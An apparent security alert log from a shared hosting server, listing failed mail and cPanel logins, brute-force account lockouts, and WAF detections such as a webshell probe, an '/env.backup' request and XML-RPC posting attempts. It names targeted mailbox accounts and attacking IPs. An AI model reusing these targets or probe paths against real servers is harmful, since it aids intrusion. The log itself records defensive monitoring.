2026-01-31 14:07:08 dovecot_login authenticator failed for H=(lXmE5vmkyZ) [158.94.209.22]:56460: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-01-31 14:07:31 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:43714: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 131.106.119.145
country_id: 6252001
description:
[2026-01-31 14:07:38 +0800] info [cpaneld] 131.106.119.145 - dynamichr "GET /login/?login_only=1&user=dynamichr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dynamichr (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.171
country_id: 1733045
description:
2026-01-31 14:07:42 dovecot_login authenticator failed for H=([49.124.152.171]) [49.124.152.171]:39202: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 14:07:49 dovecot_login authenticator failed for H=(8unN8T) [165.154.235.118]:50663: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 14:07:04 dovecot_login authenticator failed for H=(xgdBoHDp) [165.154.235.118]:33119: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 14:07:08 dovecot_login authenticator failed for H=(Aeyjlr) [158.94.208.175]:64541: 535 Incorrect authentication data (set_id=scchee.vcb)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.95.147.90
country_id: 6252001
description:
[2026-01-31 14:07:40 +0800] info [cpaneld] 173.95.147.90 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 107.213.124.161
country_id: 6252001
description:
[2026-01-31 14:07:55 +0800] info [cpaneld] 107.213.124.161 - dynamichrco "GET /login/?login_only=1&user=dynamichrco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dynamichrco (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-31 14:07:57 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:42917: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.166.8.174
country_id: 1814991
description:
2026-01-31 14:08:00 dovecot_login authenticator failed for H=([60.166.8.174]) [60.166.8.174]:34078: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.18.99.38
country_id: 1269750
description:
2026-01-31 14:07:02 dovecot_login authenticator failed for H=([125.18.99.38]) [125.18.99.38]:44826: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.91.50
country_id: 1269750
description:
2026-01-31 14:07:12 dovecot_login authenticator failed for H=(nsg-corporate-50.91.186.122.airtel.in) [122.186.91.50]:51468: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 209.213.146.203
country_id: 6252001
description:
[2026-01-31 14:08:29 +0800] info [cpaneld] 209.213.146.203 - dyna "GET /login/?login_only=1&user=dyna&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dyna (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.166.216.146
country_id: 6252001
description:
[2026-01-31 14:08:39 +0800] info [cpaneld] 97.166.216.146 - dynamic1 "GET /login/?login_only=1&user=dynamic1&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dynamic1 (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.79.108.51
country_id: 2017370
description:
2026-01-31 14:08:58 dovecot_login authenticator failed for H=(dynamicip-95-79-108-51.pppoe.nn.ertelecom.ru) [95.79.108.51]:33916: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.61.82
country_id: 1269750
description:
2026-01-31 14:08:58 dovecot_login authenticator failed for H=([125.17.225.97]) [182.95.61.82]:40926: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.34.200.140
country_id: 6252001
description:
[2026-01-31 14:08:06 +0800] info [cpaneld] 76.34.200.140 - dynamich "GET /login/?login_only=1&user=dynamich&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dynamich (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.118.163.119
country_id: 6252001
description:
[2026-01-31 14:08:11 +0800] info [cpaneld] 73.118.163.119 - dynamic "GET /login/?login_only=1&user=dynamic&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dynamic (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 14:08:25 dovecot_login authenticator failed for H=(Zr94fxrr) [178.16.54.138]:58803: 535 Incorrect authentication data (set_id=ohchan.vpb@vc-b.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.170.227.15
country_id: 6252001
description:
[2026-01-31 14:08:32 +0800] info [cpaneld] 68.170.227.15 - dyn "GET /login/?login_only=1&user=dyn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dyn (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-01-31 14:08:39 dovecot_login authenticator failed for H=([200.106.49.149]) [200.106.49.149]:47344: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.171.154.73
country_id: 783754
description:
2026-01-31 14:08:58 dovecot_login authenticator failed for H=(ADMIN) [31.171.154.73]:1663: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.32.231.117
country_id: 6252001
description:
[2026-01-31 14:08:15 +0800] info [cpaneld] 76.32.231.117 - dynami "GET /login/?login_only=1&user=dynami&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dynami (has_cpuser_file failed)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Jan 31 14:08:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shutters has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.184.114
country_id: 1269750
description:
2026-01-31 14:08:26 dovecot_login authenticator failed for H=([182.95.184.114]) [182.95.184.114]:44820: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.217.162.92
country_id: 6252001
description:
[2026-01-31 14:08:18 +0800] info [cpaneld] 73.217.162.92 - dynam "GET /login/?login_only=1&user=dynam&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dynam (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 14:08:17 dovecot_login authenticator failed for H=(e2lSoyp) [158.94.208.175]:58731: 535 Incorrect authentication data (set_id=scchee.vcb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.130.148.217
country_id: 1512440
description:
2026-01-31 14:08:29 dovecot_login authenticator failed for H=([45.130.148.217]) [45.130.148.217]:55398: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.150.165.108
country_id: 6252001
description:
[2026-01-31 14:08:36 +0800] info [cpaneld] 73.150.165.108 - dy "GET /login/?login_only=1&user=dy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dy (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-01-31 14:08:48 dovecot_login authenticator failed for H=([103.168.241.32]) [103.168.241.32]:45617: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.162.71.191
country_id: 6252001
description:
[2026-01-31 14:08:02 +0800] info [cpaneld] 68.162.71.191 - dynamichrc "GET /login/?login_only=1&user=dynamichrc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dynamichrc (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 14:08:02 dovecot_login authenticator failed for H=(6EwKFDe) [158.94.209.22]:63756: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 14:08:12 dovecot_login authenticator failed for H=(s5Ok7z) [165.154.235.118]:59561: 535 Incorrect authentication data


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Jan 31 14:09:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shutters has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 14:09:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ohchan.vpb@vc-b.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 14:09:20 dovecot_login authenticator failed for H=(PhIJ6QfD) [178.16.54.138]:63916: 535 Incorrect authentication data (set_id=ohchan.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.45.101.159
country_id: 1835841
description:
2026-01-31 14:09:18 dovecot_login authenticator failed for H=([118.45.101.159]) [118.45.101.159]:37100: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.22.214.60
country_id: 1210997
domain: evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/evergrown.com.my/img/photos/2063646727.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 14:09:08 dovecot_login authenticator failed for H=(iraIK5I) [165.154.235.118]:16973: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 14:09:09 dovecot_login authenticator failed for H=(MrSVZyy) [158.94.208.175]:57030: 535 Incorrect authentication data (set_id=shutters)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 14:09:14 dovecot_login authenticator failed for H=(oRlFNMciZK) [158.94.209.22]:57092: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 45.148.10.159
country_id: 2750405
domain: www.achieversvisionacademy.com
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/env.backup||User:achieversvisiona||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-01-31 14:09:24 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:41192: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-01-31 14:10:53 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:35356: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 14:10:08 dovecot_login authenticator failed for H=(qd90A7T) [158.94.209.22]:64045: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Jan 31 14:10:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account scchee.vcb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.186.114.73
country_id: 1168579
description:
2026-01-31 14:10:14 dovecot_login authenticator failed for H=([103.186.114.73]) [103.186.114.73]:47269: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 14:10:05 dovecot_login authenticator failed for H=(i7I1ayRQx) [165.154.235.118]:38472: 535 Incorrect authentication data


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 14:10:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.101.62.172
country_id: 3469034
domain: astlog.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.astlog.com.my||ServerName:astlog.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:83e9f3d502a4c0d36240e137b60a48d0aca11a65||Title:0x2c0549cb||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 14:10:14 dovecot_login authenticator failed for H=(Hw2xGPjCf) [158.94.208.175]:60255: 535 Incorrect authentication data (set_id=scchee.vcb)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 14:10:27 dovecot_login authenticator failed for H=(TYE1snan) [165.154.235.118]:46614: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.204.88
country_id: 99237
description:
2026-01-31 14:10:57 dovecot_login authenticator failed for H=([65.20.204.88]) [65.20.204.88]:59605: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.148.60
country_id: 2661886
description:
2026-01-31 14:10:03 dovecot_login authenticator failed for H=82-209-148-60.cust.bredband2.com [82.209.148.60]:45982: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 14:10:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ohchan.vpb@vc-b.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 14:10:10 dovecot_login authenticator failed for H=(nMheCtoD) [178.16.54.138]:55548: 535 Incorrect authentication data (set_id=ohchan.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 14:11:36 dovecot_login authenticator failed for H=(HTtOPj49) [178.16.54.138]:58919: 535 Incorrect authentication data (set_id=ohchan.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 14:11:20 dovecot_login authenticator failed for H=(m5sylC) [158.94.209.22]:56240: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.97.203.163
country_id: 3686110
description:
2026-01-31 14:11:24 dovecot_login authenticator failed for H=(Dinamic-Tigo186-97-203-163.tigo.com.co) [186.97.203.163]:55128: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.89.110.57
country_id: 1814991
description:
2026-01-31 14:11:50 dovecot_login authenticator failed for H=([101.89.110.57]) [101.89.110.57]:34250: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.101.62.172
country_id: 3469034
domain: astlog.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.astlog.com.my||ServerName:astlog.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d088e47991f1e8a205b4526f41ba39f5c282fe6e||Title:0x82c7cb32||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 14:11:12 dovecot_login authenticator failed for H=(0IPkb2k) [165.154.235.118]:63770: 535 Incorrect authentication data


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 14:11:34 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ohchan.vpb@vc-b.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.246.114.111
country_id: 1880251
description:
2026-01-31 14:11:59 dovecot_login authenticator failed for H=([124.246.114.111]) [124.246.114.111]:59366: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 14:11:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.238.23.168
country_id: 1814991
description:
2026-01-31 14:11:34 dovecot_login authenticator failed for H=([120.238.23.168]) [120.238.23.168]:51281: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Jan 31 14:11:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shutters has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 14:11:05 dovecot_login authenticator failed for H=(GNicy3) [158.94.208.175]:51213: 535 Incorrect authentication data (set_id=shutters)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.50.226.182
country_id: 3469034
description:
2026-01-31 14:11:03 dovecot_login authenticator failed for H=(189-108-192-66.customer.tdatabrasil.net.br) [187.50.226.182]:36694: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Jan 31 14:12:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account scchee.vcb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 14:12:14 dovecot_login authenticator failed for H=(BIQBT1Hjo) [158.94.208.175]:58323: 535 Incorrect authentication data (set_id=scchee.vcb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 14:12:14 dovecot_login authenticator failed for H=(XdJnYoX1aT) [158.94.209.22]:61592: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 14:12:03 dovecot_login authenticator failed for H=(62TV97TCJW) [178.16.54.138]:62802: 535 Incorrect authentication data (set_id=ohchan.vpb@vc-b.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 14:12:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.101.62.172
country_id: 3469034
domain: astlog.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.astlog.com.my||ServerName:astlog.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:189b7908cef4f1fe5532e3b6cac431ffba38423f||Title:0x2748a084||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 14:12:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ohchan.vpb@vc-b.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.66
country_id: 1269750
description:
2026-01-31 14:12:02 dovecot_login authenticator failed for H=([122.187.230.66]) [122.187.230.66]:49764: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 14:12:09 dovecot_login authenticator failed for H=(9Z0HRVu5W) [165.154.235.118]:20871: 535 Incorrect authentication data


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/index.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 14:13:24 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ohchan.vpb@vc-b.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.95.14.102
country_id: 1835841
description:
2026-01-31 14:13:46 dovecot_login authenticator failed for H=([220.95.14.102]) [220.95.14.102]:43446: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.97.5
country_id: 1814991
description:
2026-01-31 14:13:05 dovecot_login authenticator failed for H=([111.61.97.5]) [111.61.97.5]:28048: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 14:13:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 14:13:17 dovecot_login authenticator failed for H=(sYnUbQfxs) [165.154.235.118]:46154: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 14:13:19 dovecot_login authenticator failed for H=(1otgBK9w) [158.94.208.175]:56449: 535 Incorrect authentication data (set_id=shutters)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Jan 31 14:13:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account scchee.vcb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 14:13:26 dovecot_login authenticator failed for H=(rxgX0U) [178.16.54.138]:55752: 535 Incorrect authentication data (set_id=ohchan.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-01-31 14:13:31 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:60620: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 14:13:05 dovecot_login authenticator failed for H=(m9jBkqy) [165.154.235.118]:41949: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 14:13:08 dovecot_login authenticator failed for H=(fWo9mlu) [158.94.209.22]:49716: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.248.135.143
country_id: 1562822
domain: www.tschuan.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.tschuan.com/ HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-01-31 14:14:30 dovecot_login authenticator failed for H=(Gd0luUY3) [69.5.189.21]:61908: 535 Incorrect authentication data (set_id=audrey@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-01-31 14:14:41 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:42634: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 14:14:00 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.101.62.172
country_id: 3469034
domain: astlog.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.astlog.com.my||ServerName:astlog.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a8e6414706a2fccf47f05b72ea65b8f551fef19d||Title:0x57b0c62f||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 14:14:22 dovecot_login authenticator failed for H=(YJnlFDCIrW) [178.16.54.138]:63790: 535 Incorrect authentication data (set_id=ohchan.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 164.164.117.23
country_id: 1269750
description:
2026-01-31 14:14:29 dovecot_login authenticator failed for H=([164.164.117.23]) [164.164.117.23]:44722: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 14:14:02 dovecot_login authenticator failed for H=(AnsJ7R) [165.154.235.118]:63068: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 14:14:02 dovecot_login authenticator failed for H=(tG8fd5Jhx) [158.94.209.22]:54260: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 14:14:20 dovecot_login authenticator failed for H=(csZ9Kbm1Mm) [158.94.208.175]:64263: 535 Incorrect authentication data (set_id=scchee.vcb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Jan 31 14:14:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account scchee.vcb has been locked for the attacker IP 158.94.208.175


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.101.62.172
country_id: 3469034
domain: astlog.com.my
description:
